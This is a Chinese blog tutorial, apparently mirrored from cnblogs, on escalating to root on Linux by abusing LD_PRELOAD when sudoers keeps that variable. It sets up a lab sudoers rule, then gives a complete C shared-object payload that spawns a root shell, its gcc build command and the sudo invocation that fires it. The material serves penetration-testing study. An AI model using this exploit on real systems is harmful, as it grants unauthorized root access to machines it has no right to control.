zoukankan      html  css  js  c++  java
  • 使用LD_Preload的Linux权限升级技巧

     

    0x00 前言

    共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。

    0x01 共享库名称

    每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。

    动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里

    LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的

    想了解更多信息,请阅读此处

    0x02 实验设置

    日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo

    为此,请按照以下步骤操作:

    • 输入visudo打开/etc/sudoers文件
    • 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
    raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
    • 然后添加以下内容作为默认配置来设置LD_preload的环境。
     Defaults        env_keep += LD_PRELOAD

    0x03 权限升级 

    要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。

    让我们在/tmp目录中生成一个C程序文件。

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
    }

    然后将其保存为/cmp中的shell.c

    如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:

    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    ls -al shell.so
    sudo LD_PRELOAD=/tmp/shell.so find
    id
    whoami

    非常好,我们获得了ROOT访问权限。

     
  • 相关阅读:
    NOIP2008双栈排序[二分图染色|栈|DP]
    洛谷P1108 低价购买[DP | LIS方案数]
    洛谷P1330封锁阳光大学[二分图染色]
    NOIP模板整理计划
    期中考试
    UVA 10564 Paths through the Hourglass[DP 打印]
    UVA 11404 Palindromic Subsequence[DP LCS 打印]
    POJ2479 Maximum sum[DP|最大子段和]
    POJ3160 Father Christmas flymouse[强连通分量 缩点 DP]
    UVA11324 The Largest Clique[强连通分量 缩点 DP]
  • 原文地址:https://www.cnblogs.com/backlion/p/10503985.html
Copyright © 2011-2022 走看看